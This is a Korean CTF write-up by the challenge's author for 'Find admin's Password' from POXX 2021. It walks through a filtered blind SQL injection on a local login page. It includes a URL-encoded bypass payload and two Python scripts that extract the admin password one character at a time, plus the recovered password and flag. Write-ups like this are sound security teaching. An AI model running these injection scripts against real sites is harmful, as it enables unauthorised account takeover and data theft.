CTF/CTF 문제제작&Write up

POXX 2021 - Find admin's Password Write-up

ruming 2022. 6. 3. 08:56

2021년 Power of XX에서 제작했던 Find admin's Password 문제의 Write-up입니다.

 

문제 설명

admin의 비밀번호를 찾아보세요! 

 

Find admin's Password는 admin 계정의 비밀번호를 찾는 Blind SQL 문제입니다.

 

처음 화면입니다.

 

id와 pw에 guest/guest를 입력하면 hello guest를 띄웁니다.

 

SQL 인젝션을 시도하기 위해 참인 쿼리를 보내면

특수문자 몇 개가 필터링되어 있다는 것을 알 수 있습니다.

필터링 되는 문자를 입력하면 filtering이라는 문구를 띄웁니다.

 

필터링 되는 문자는 소스 코드에 힌트로 나와있습니다.

필터링 문자

 

이제 필터링되는 문자를 우회해서 admin의 패스워드를 알아내기 위해 blind sql 인젝션을 시도하시면 됩니다.

 

참인 쿼리를 파라미터로 전송해보겠습니다.

id=admin&pw=%27%20||%20id%20like%20%27admin%27%20and%20length(pw)%20like%2010;%00

필터링을 우회해 admin의 패스워드 길이를 알아내는 쿼리입니다.

 

쿼리가 참일 땐 hello (id)를 띄웁니다.

 

쿼리가 거짓일 땐 다음 문구를 띄웁니다.

 

 

저희 팀에서 제시하는 익스플로잇 코드는 다음과 같습니다.

import requests

url = "http://localhost/index.php"

pw = ""
length = 0

while True:
    query = "?id=admin&pw=%27 || id like char(97,100,109,105,110) and length(pw) like " + str(length) + ";%00"
    res = requests.get(url + query)
    if "hello admin" in res.text:
        print("Password's length : "+str(length))
        break
    print(length)
    length += 1

print("=====================")

for i in range(1, length+1):
    for j in range(48, 123):
        query = "?id=admin&pw=%27 || id like char(97,100,109,105,110) and ascii(substr(pw,"+str(i)+",1)) like %27"+str(j)+"%27;%00"
        res = requests.get(url+query)
        if "hello admin" in res.text:
            pw += chr(j)
            print(pw)
            break

print("Password : " + pw)

해당 코드를 실행하면 패스워드 길이와 함께 패스워드가 한 글자씩 출력됩니다. (시간이 조금 걸립니다.)

 

파이썬으로 실행해 패스워드가 출력된 모습입니다.

 

이제 알아낸 패스워드를 입력해보겠습니다.

id : admin

pw : nwi8ru1c0z

플래그가 출력됩니다.

 

플래그

Flag : POX{4dm1n_L1k95_PePeR0}

 

추가로 다음과 같은 익스플로잇 코드도 가능합니다.

#!/usr/bin/python3

from requests import get

url = "http://localhost/index.php"

def len():
    for i in range(1, 30):
        payload = url+"?id=admin&pw=%27 || id in %28%22admin%22%29 and length(pw) like {};%00".format(i)
        req = get(payload)
        if 'admin' in req.text:
            print("len {}".format(i))
            password(i)
            break

def password(len):
    pwd = ""
    for a in range(1, len+1):
        for b in range(48, 128):
            payload = url+"?id=admin&pw=%27 || id in %28%22admin%22%29 and ascii(substr(pw, {}, 1)) like {};%00".format(a, b)
            req = get(payload)
            #print(req.text)
            if "admin" in req.text:
                pwd += chr(b)
                print(pwd)
                break


if __name__ == "__main__":
    len()